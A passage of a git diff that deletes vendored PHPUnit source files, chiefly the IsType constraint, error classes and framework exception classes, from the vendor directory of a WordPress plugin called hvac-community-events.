for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - return $other === null; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Type/IsType.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Type/IsType.php deleted file mode 100644 index 285b74a7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Constraint/Type/IsType.php +++ /dev/null @@ -1,211 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Constraint; - -use function gettype; -use function is_array; -use function is_bool; -use function is_callable; -use function is_float; -use function is_int; -use function is_iterable; -use function is_numeric; -use function is_object; -use function is_scalar; -use function is_string; -use function sprintf; -use PHPUnit\Framework\Exception; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class IsType extends Constraint -{ - /** - * @var string - */ - public const TYPE_ARRAY = 'array'; - - /** - * @var string - */ - public const TYPE_BOOL = 'bool'; - - /** - * @var string - */ - public const TYPE_FLOAT = 'float'; - - /** - * @var string - */ - public const TYPE_INT = 'int'; - - /** - * @var string - */ - public const TYPE_NULL = 'null'; - - /** - * @var string - */ - public const TYPE_NUMERIC = 'numeric'; - - /** - * @var string - */ - public const TYPE_OBJECT = 'object'; - - /** - * @var string - */ - public const TYPE_RESOURCE = 'resource'; - - /** - * @var string - */ - public const TYPE_CLOSED_RESOURCE = 'resource (closed)'; - - /** - * @var string - */ - public const TYPE_STRING = 'string'; - - /** - * @var string - */ - public const TYPE_SCALAR = 'scalar'; - - /** - * @var string - */ - public const TYPE_CALLABLE = 'callable'; - - /** - * @var string - */ - public const TYPE_ITERABLE = 'iterable'; - - /** - * @var array - */ - private const KNOWN_TYPES = [ - 'array' => true, - 'boolean' => true, - 'bool' => true, - 'double' => true, - 'float' => true, - 'integer' => true, - 'int' => true, - 'null' => true, - 'numeric' => true, - 'object' => true, - 'real' => true, - 'resource' => true, - 'resource (closed)' => true, - 'string' => true, - 'scalar' => true, - 'callable' => true, - 'iterable' => true, - ]; - - /** - * @var string - */ - private $type; - - /** - * @throws Exception - */ - public function __construct(string $type) - { - if (!isset(self::KNOWN_TYPES[$type])) { - throw new Exception( - sprintf( - 'Type specified for PHPUnit\Framework\Constraint\IsType <%s> ' . - 'is not a valid type.', - $type, - ), - ); - } - - $this->type = $type; - } - - /** - * Returns a string representation of the constraint. - */ - public function toString(): string - { - return sprintf( - 'is of type "%s"', - $this->type, - ); - } - - /** - * Evaluates the constraint for parameter $other. Returns true if the - * constraint is met, false otherwise. - * - * @param mixed $other value or object to evaluate - */ - protected function matches($other): bool - { - switch ($this->type) { - case 'numeric': - return is_numeric($other); - - case 'integer': - case 'int': - return is_int($other); - - case 'double': - case 'float': - case 'real': - return is_float($other); - - case 'string': - return is_string($other); - - case 'boolean': - case 'bool': - return is_bool($other); - - case 'null': - return null === $other; - - case 'array': - return is_array($other); - - case 'object': - return is_object($other); - - case 'resource': - $type = gettype($other); - - return $type === 'resource' || $type === 'resource (closed)'; - - case 'resource (closed)': - return gettype($other) === 'resource (closed)'; - - case 'scalar': - return is_scalar($other); - - case 'callable': - return is_callable($other); - - case 'iterable': - return is_iterable($other); - - default: - return false; - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/DataProviderTestSuite.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/DataProviderTestSuite.php deleted file mode 100644 index 4d7ab859..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/DataProviderTestSuite.php +++ /dev/null @@ -1,76 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use function explode; -use PHPUnit\Util\Test as TestUtil; -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class DataProviderTestSuite extends TestSuite -{ - /** - * @var list - */ - private $dependencies = []; - - /** - * @param list $dependencies - */ - public function setDependencies(array $dependencies): void - { - $this->dependencies = $dependencies; - - foreach ($this->tests as $test) { - if (!$test instanceof TestCase) { - // @codeCoverageIgnoreStart - continue; - // @codeCoverageIgnoreStart - } - $test->setDependencies($dependencies); - } - } - - /** - * @return list - */ - public function provides(): array - { - if ($this->providedTests === null) { - $this->providedTests = [new ExecutionOrderDependency($this->getName())]; - } - - return $this->providedTests; - } - - /** - * @return list - */ - public function requires(): array - { - // A DataProviderTestSuite does not have to traverse its child tests - // as these are inherited and cannot reference dataProvider rows directly - return $this->dependencies; - } - - /** - * Returns the size of the each test created using the data provider(s). - * - * @throws InvalidArgumentException - */ - public function getSize(): int - { - [$className, $methodName] = explode('::', $this->getName()); - - return TestUtil::getSize($className, $methodName); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Error/Deprecated.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Error/Deprecated.php deleted file mode 100644 index db62195f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Error/Deprecated.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Error; - -/** - * @internal - */ -final class Deprecated extends Error -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Error/Error.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Error/Error.php deleted file mode 100644 index 3163a867..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Error/Error.php +++ /dev/null @@ -1,26 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Error; - -use PHPUnit\Framework\Exception; - -/** - * @internal - */ -class Error extends Exception -{ - public function __construct(string $message, int $code, string $file, int $line, ?\Exception $previous = null) - { - parent::__construct($message, $code, $previous); - - $this->file = $file; - $this->line = $line; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Error/Notice.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Error/Notice.php deleted file mode 100644 index 54e5e31e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Error/Notice.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Error; - -/** - * @internal - */ -final class Notice extends Error -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Error/Warning.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Error/Warning.php deleted file mode 100644 index 0c0c0064..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Error/Warning.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\Error; - -/** - * @internal - */ -final class Warning extends Error -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/ErrorTestCase.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/ErrorTestCase.php deleted file mode 100644 index 245f0336..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/ErrorTestCase.php +++ /dev/null @@ -1,66 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ErrorTestCase extends TestCase -{ - /** - * @var ?bool - */ - protected $backupGlobals = false; - - /** - * @var ?bool - */ - protected $backupStaticAttributes = false; - - /** - * @var ?bool - */ - protected $runTestInSeparateProcess = false; - - /** - * @var string - */ - private $message; - - public function __construct(string $message = '') - { - $this->message = $message; - - parent::__construct('Error'); - } - - public function getMessage(): string - { - return $this->message; - } - - /** - * Returns a string representation of the test case. - */ - public function toString(): string - { - return 'Error'; - } - - /** - * @throws Exception - * - * @psalm-return never-return - */ - protected function runTest(): void - { - throw new Error($this->message); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ActualValueIsNotAnObjectException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ActualValueIsNotAnObjectException.php deleted file mode 100644 index 4364788c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ActualValueIsNotAnObjectException.php +++ /dev/null @@ -1,32 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use const PHP_EOL; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ActualValueIsNotAnObjectException extends Exception -{ - public function __construct() - { - parent::__construct( - 'Actual value is not an object', - 0, - null, - ); - } - - public function __toString(): string - { - return $this->getMessage() . PHP_EOL; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/AssertionFailedError.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/AssertionFailedError.php deleted file mode 100644 index 0ba25286..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/AssertionFailedError.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -class AssertionFailedError extends Exception implements SelfDescribing -{ - /** - * Wrapper for getMessage() which is declared as final. - */ - public function toString(): string - { - return $this->getMessage(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/CodeCoverageException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/CodeCoverageException.php deleted file mode 100644 index 36b07231..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/CodeCoverageException.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -class CodeCoverageException extends Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotAcceptParameterTypeException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotAcceptParameterTypeException.php deleted file mode 100644 index 0c2c1afe..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotAcceptParameterTypeException.php +++ /dev/null @@ -1,38 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use const PHP_EOL; -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ComparisonMethodDoesNotAcceptParameterTypeException extends Exception -{ - public function __construct(string $className, string $methodName, string $type) - { - parent::__construct( - sprintf( - '%s is not an accepted argument type for comparison method %s::%s().', - $type, - $className, - $methodName, - ), - 0, - null, - ); - } - - public function __toString(): string - { - return $this->getMessage() . PHP_EOL; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareBoolReturnTypeException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareBoolReturnTypeException.php deleted file mode 100644 index 4eb9a2fd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareBoolReturnTypeException.php +++ /dev/null @@ -1,37 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use const PHP_EOL; -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ComparisonMethodDoesNotDeclareBoolReturnTypeException extends Exception -{ - public function __construct(string $className, string $methodName) - { - parent::__construct( - sprintf( - 'Comparison method %s::%s() does not declare bool return type.', - $className, - $methodName, - ), - 0, - null, - ); - } - - public function __toString(): string - { - return $this->getMessage() . PHP_EOL; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareExactlyOneParameterException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareExactlyOneParameterException.php deleted file mode 100644 index e8cd9787..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareExactlyOneParameterException.php +++ /dev/null @@ -1,37 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use const PHP_EOL; -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ComparisonMethodDoesNotDeclareExactlyOneParameterException extends Exception -{ - public function __construct(string $className, string $methodName) - { - parent::__construct( - sprintf( - 'Comparison method %s::%s() does not declare exactly one parameter.', - $className, - $methodName, - ), - 0, - null, - ); - } - - public function __toString(): string - { - return $this->getMessage() . PHP_EOL; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareParameterTypeException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareParameterTypeException.php deleted file mode 100644 index 68616ba1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareParameterTypeException.php +++ /dev/null @@ -1,37 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use const PHP_EOL; -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ComparisonMethodDoesNotDeclareParameterTypeException extends Exception -{ - public function __construct(string $className, string $methodName) - { - parent::__construct( - sprintf( - 'Parameter of comparison method %s::%s() does not have a declared type.', - $className, - $methodName, - ), - 0, - null, - ); - } - - public function __toString(): string - { - return $this->getMessage() . PHP_EOL; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotExistException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotExistException.php deleted file mode 100644 index 0f1adcbc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotExistException.php +++ /dev/null @@ -1,37 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use const PHP_EOL; -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ComparisonMethodDoesNotExistException extends Exception -{ - public function __construct(string $className, string $methodName) - { - parent::__construct( - sprintf( - 'Comparison method %s::%s() does not exist.', - $className, - $methodName, - ), - 0, - null, - ); - } - - public function __toString(): string - { - return $this->getMessage() . PHP_EOL; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/CoveredCodeNotExecutedException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/CoveredCodeNotExecutedException.php deleted file mode 100644 index 78f89bc3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/CoveredCodeNotExecutedException.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class CoveredCodeNotExecutedException extends RiskyTestError -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/Error.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/Error.php deleted file mode 100644 index d43e4218..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/Error.php +++ /dev/null @@ -1,24 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Error extends Exception implements SelfDescribing -{ - /** - * Wrapper for getMessage() which is declared as final. - */ - public function toString(): string - { - return $this->getMessage(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/Exception.php deleted file mode 100644 index 3ed04927..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/Exception.php +++ /dev/null @@ -1,81 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use function array_keys; -use function get_object_vars; -use PHPUnit\Util\Filter; -use RuntimeException; -use Throwable; - -/** - * Base class for all PHPUnit Framework exceptions. - * - * Ensures that exceptions thrown during a test run do not leave stray - * references behind. - * - * Every Exception contains a stack trace. Each stack frame contains the 'args' - * of the called function. The function arguments can contain references to - * instantiated objects. The references prevent the objects from being - * destructed (until test results are eventually printed), so memory cannot be - * freed up. - * - * With enabled process isolation, test results are serialized in the child - * process and unserialized in the parent process. The stack trace of Exceptions - * may contain objects that cannot be serialized or unserialized (e.g., PDO - * connections). Unserializing user-space objects from the child process into - * the parent would break the intended encapsulation of process isolation. - * - * @see http://fabien.potencier.org/article/9/php-serialization-stack-traces-and-exceptions - * - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -class Exception extends RuntimeException implements \PHPUnit\Exception -{ - /** - * @var array - */ - protected $serializableTrace; - - public function __construct($message = '', $code = 0, ?Throwable $previous = null) - { - parent::__construct($message, $code, $previous); - - $this->serializableTrace = $this->getTrace(); - - foreach (array_keys($this->serializableTrace) as $key) { - unset($this->serializableTrace[$key]['args']); - } - } - - public function __toString(): string - { - $string = TestFailure::exceptionToString($this); - - if ($trace = Filter::getFilteredStacktrace($this)) { - $string .= "\n" . $trace; - } - - return $string; - } - - public function __sleep(): array - { - return array_keys(get_object_vars($this)); - } - - /** - * Returns the serializable trace (without 'args'). - */ - public function getSerializableTrace(): array - { - return $this->serializableTrace; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ExpectationFailedException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ExpectationFailedException.php deleted file mode 100644 index a81d7535..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/ExpectationFailedException.php +++ /dev/null @@ -1,42 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use Exception; -use SebastianBergmann\Comparator\ComparisonFailure; - -/** - * Exception for expectations which failed their check. - * - * The exception contains the error message and optionally a - * SebastianBergmann\Comparator\ComparisonFailure which is used to - * generate diff output of the failed expectations. - * - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ExpectationFailedException extends AssertionFailedError -{ - /** - * @var ComparisonFailure - */ - protected $comparisonFailure; - - public function __construct(string $message, ?ComparisonFailure $comparisonFailure = null, ?Exception $previous = null) - { - $this->comparisonFailure = $comparisonFailure; - - parent::__construct($message, 0, $previous); - } - - public function getComparisonFailure(): ?ComparisonFailure - { - return $this->comparisonFailure; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/IncompleteTestError.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/IncompleteTestError.php deleted file mode 100644 index 65f9c8bc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/IncompleteTestError.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class IncompleteTestError extends AssertionFailedError implements IncompleteTest -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/InvalidArgumentException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/InvalidArgumentException.php deleted file mode 100644 index 4181b320..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/InvalidArgumentException.php +++ /dev/null @@ -1,46 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use function debug_backtrace; -use function in_array; -use function lcfirst; -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class InvalidArgumentException extends Exception -{ - public static function create(int $argument, string $type): self - { - $stack = debug_backtrace(); - $function = $stack[1]['function']; - - if (isset($stack[1]['class'])) { - $function = sprintf('%s::%s', $stack[1]['class'], $stack[1]['function']); - } - - return new self( - sprintf( - 'Argument #%d of %s() must be %s %s', - $argument, - $function, - in_array(lcfirst($type)[0], ['a', 'e', 'i', 'o', 'u'], true) ? 'an' : 'a', - $type, - ), - ); - } - - private function __construct(string $message = '', int $code = 0, ?\Exception $previous = null) - { - parent::__construct($message, $code, $previous); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/InvalidCoversTargetException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/InvalidCoversTargetException.php deleted file mode 100644 index ebf2994a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/InvalidCoversTargetException.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class InvalidCoversTargetException extends CodeCoverageException -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/InvalidDataProviderException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/InvalidDataProviderException.php deleted file mode 100644 index 7e2ef24c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/InvalidDataProviderException.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class InvalidDataProviderException extends Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/MissingCoversAnnotationException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/MissingCoversAnnotationException.php deleted file mode 100644 index 567a6c4c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/MissingCoversAnnotationException.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class MissingCoversAnnotationException extends RiskyTestError -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/NoChildTestSuiteException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/NoChildTestSuiteException.php deleted file mode 100644 index 7ef4153b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/NoChildTestSuiteException.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class NoChildTestSuiteException extends Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/OutputError.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/OutputError.php deleted file mode 100644 index 1c8b37e5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/OutputError.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class OutputError extends AssertionFailedError -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/PHPTAssertionFailedError.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/PHPTAssertionFailedError.php deleted file mode 100644 index 17126139..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/PHPTAssertionFailedError.php +++ /dev/null @@ -1,32 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class PHPTAssertionFailedError extends SyntheticError -{ - /** - * @var string - */ - private $diff; - - public function __construct(string $message, int $code, string $file, int $line, array $trace, string $diff) - { - parent::__construct($message, $code, $file, $line, $trace); - $this->diff = $diff; - } - - public function getDiff(): string - { - return $this->diff; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/RiskyTestError.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/RiskyTestError.php deleted file mode 100644 index a66552c0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/RiskyTestError.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -class RiskyTestError extends AssertionFailedError -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/SkippedTestError.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Exception/SkippedTestError.php deleted file mode 100644 index 7d553dcf..00000000 --- 